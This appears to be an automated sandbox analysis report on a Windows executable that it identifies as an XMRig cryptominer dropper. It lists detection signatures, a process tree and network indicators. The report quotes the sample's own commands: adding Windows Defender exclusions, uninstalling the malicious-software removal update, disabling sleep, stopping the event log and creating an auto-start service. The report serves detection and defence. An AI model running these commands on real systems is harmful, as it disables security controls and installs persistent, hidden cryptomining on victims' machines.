Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1584229
MD5:	a03484846e3418ffa2ab8aec97a03e88
SHA1:	54c62c97db8b0234eeb7a03d66b73f9d1dc22614
SHA256:	6932616523c8080fd908d4b776f416a4d32653e657c2cbe75a42cdc0a8b5c4d1
Tags:	CoinMinerexex64user-jstrosch
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Detected Stratum mining protocol

Found strings related to Crypto-Mining

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Installs new ROOT certificates

Loading BitLocker PowerShell Module

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses powercfg.exe to modify the power settings

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 4524 cmdline: "C:\Users\user\Desktop\file.exe" MD5: A03484846E3418FFA2AB8AEC97A03E88)

powershell.exe (PID: 5840 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5068 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 6664 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

powercfg.exe (PID: 5600 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 4668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 3304 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 3876 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 616 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 6508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 6768 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

winlogon.exe (PID: 564 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

lsass.exe (PID: 640 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 924 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 992 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

sc.exe (PID: 7120 cmdline: C:\Windows\system32\sc.exe delete "LightService" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1476 cmdline: C:\Windows\system32\sc.exe create "LightService" binpath= "C:\ProgramData\IGaming\driver.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 4308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7156 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7108 cmdline: C:\Windows\system32\sc.exe start "LightService" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

driver.exe (PID: 7064 cmdline: C:\ProgramData\IGaming\driver.exe MD5: A03484846E3418FFA2AB8AEC97A03E88)

powershell.exe (PID: 1784 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5692 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 5988 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

powercfg.exe (PID: 3276 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 5084 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 1436 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 3168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 5340 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 7120 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

svchost.exe (PID: 444 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 732 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1032 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1056 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1068 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1148 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1188 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1232 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1324 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s nsi MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1384 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1416 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1424 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1460 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1612 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dialer.exe (PID: 2876 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

dialer.exe (PID: 528 cmdline: dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000002D.00000002.3359712073.0000000140001000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000002D.00000002.3359712073.0000000140001000.00000040.00000001.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37eb98:$a1: mining.set_target 0x370e20:$a2: XMRIG_HOSTNAME 0x373748:$a3: Usage: xmrig [OPTIONS] 0x370df8:$a4: XMRIG_VERSION
Process Memory Space: dialer.exe PID: 528	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: dialer.exe PID: 528	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x29e79:$a1: mining.set_target 0x26622:$a2: XMRIG_HOSTNAME 0x2739a:$a3: Usage: xmrig [OPTIONS] 0x26603:$a4: XMRIG_VERSION

Unpacked PEs

Source	Rule	Description	Author	Strings
45.2.dialer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
45.2.dialer.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37ef98:$a1: mining.set_target 0x371220:$a2: XMRIG_HOSTNAME 0x373b48:$a3: Usage: xmrig [OPTIONS] 0x3711f8:$a4: XMRIG_VERSION
45.2.dialer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3c8ee1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
45.2.dialer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3c9748:$s1: %s/%s (Windows NT %lu.%lu 0x3cd180:$s3: \\.\WinRing0_ 0x376148:$s4: pool_wallet 0x3705f0:$s5: cryptonight 0x370600:$s5: cryptonight 0x370610:$s5: cryptonight 0x370620:$s5: cryptonight 0x370638:$s5: cryptonight 0x370648:$s5: cryptonight 0x370658:$s5: cryptonight 0x370670:$s5: cryptonight 0x370680:$s5: cryptonight 0x370698:$s5: cryptonight 0x3706b0:$s5: cryptonight 0x3706c0:$s5: cryptonight 0x3706d0:$s5: cryptonight 0x3706e0:$s5: cryptonight 0x3706f8:$s5: cryptonight 0x370710:$s5: cryptonight 0x370720:$s5: cryptonight 0x370730:$s5: cryptonight

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 4524, ParentProcessName: file.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 5600, ProcessName: powercfg.exe

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 4524, ParentProcessName: file.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 5840, ProcessName: powershell.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 141.94.96.144, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Windows\System32\dialer.exe, Initiated: true, ProcessId: 528, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\system32\dialer.exe, ParentImage: C:\Windows\System32\dialer.exe, ParentProcessId: 6768, ParentProcessName: dialer.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 924, ProcessName: svchost.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "LightService" binpath= "C:\ProgramData\IGaming\driver.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "LightService" binpath= "C:\ProgramData\IGaming\driver.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 4524, ParentProcessName: file.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "LightService" binpath= "C:\ProgramData\IGaming\driver.exe" start= "auto", ProcessId: 1476, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 4524, ParentProcessName: file.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 5840, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 4524, ParentProcessName: file.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 7156, ProcessName: sc.exe

Suricata Signatures

ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-04T22:58:13.875308+0100	2047928	2	Crypto Currency Mining Activity Detected	192.168.2.5	59674	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-04T22:58:02.999130+0100	2051004	2	Crypto Currency Mining Activity Detected	192.168.2.5	57089	83.217.209.235	80	TCP
2025-01-04T22:58:19.921055+0100	2051004	2	Crypto Currency Mining Activity Detected	192.168.2.5	49705	83.217.209.235	80	TCP
2025-01-04T22:59:18.545663+0100	2051004	2	Crypto Currency Mining Activity Detected	192.168.2.5	57087	83.217.209.235	80	TCP

ETPRO COINMINER XMR CoinMiner Usage

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-04T22:58:02.999130+0100	2826930	2	Crypto Currency Mining Activity Detected	192.168.2.5	49704	141.94.96.144	8080	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\IGaming\driver.exe

ReversingLabs: Detection: 81%

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 80%			Perma Link
Source: file.exe	ReversingLabs: Detection: 81%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 45.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002D.00000002.3359712073.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dialer.exe PID: 528, type: MEMORYSTR

Detected Stratum mining protocol

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 141.94.96.144:8080 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"4335mezgwwsmbw161uqp6waqyxztrvxwsbpkzpxtxxah4mtoxxbierhgbab8xhdzaemkwwvnp49wwk5ribj37ak2azkaekr","pass":"xc","agent":"xmrig/6.19.3 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2022","rigid":"","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/gpu","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","panthera","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}.

Found strings related to Crypto-Mining

Source: dialer.exe, 0000002D.00000002.3359712073.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: dialer.exe	String found in binary or memory: cryptonight-monerov7
Source: dialer.exe, 0000002D.00000002.3359712073.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: dialer.exe, 0000002D.00000002.3359712073.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: dialer.exe, 0000002D.00000002.3359712073.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: dialer.exe, 0000002D.00000002.3359712073.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\wct42C5.tmp.pdb source: svchost.exe, 00000033.00000002.3369152171.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000000.2173615180.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000033.00000000.2173514506.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3368381949.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: $@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000033.00000002.3369152171.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000000.2173615180.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\wct4B1.tmpp.pdb source: svchost.exe, 00000033.00000000.2173514506.0000024B87641000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3368381949.0000024B87641000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000033.00000002.3369152171.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000000.2173615180.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000033.00000002.3369152171.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000000.2173615180.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wct42C5.tmp.pdb source: svchost.exe, 00000033.00000000.2173514506.0000024B87641000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3368381949.0000024B87641000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: +@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000033.00000000.2173436542.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3367839566.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000033.00000000.2173514506.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3368381949.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000033.00000002.3369152171.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000000.2173615180.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000033.00000000.2173514506.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3368381949.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: &@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000033.00000002.3369152171.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000000.2173615180.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: driver.exe, 0000001A.00000003.2145145649.000001F307E70000.00000004.00000001.00020000.00000000.sdmp, ftnvuqwjtdwb.sys.26.dr
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorb source: svchost.exe, 00000033.00000000.2173436542.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3367839566.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb* source: svchost.exe, 00000033.00000002.3369152171.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000000.2173615180.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
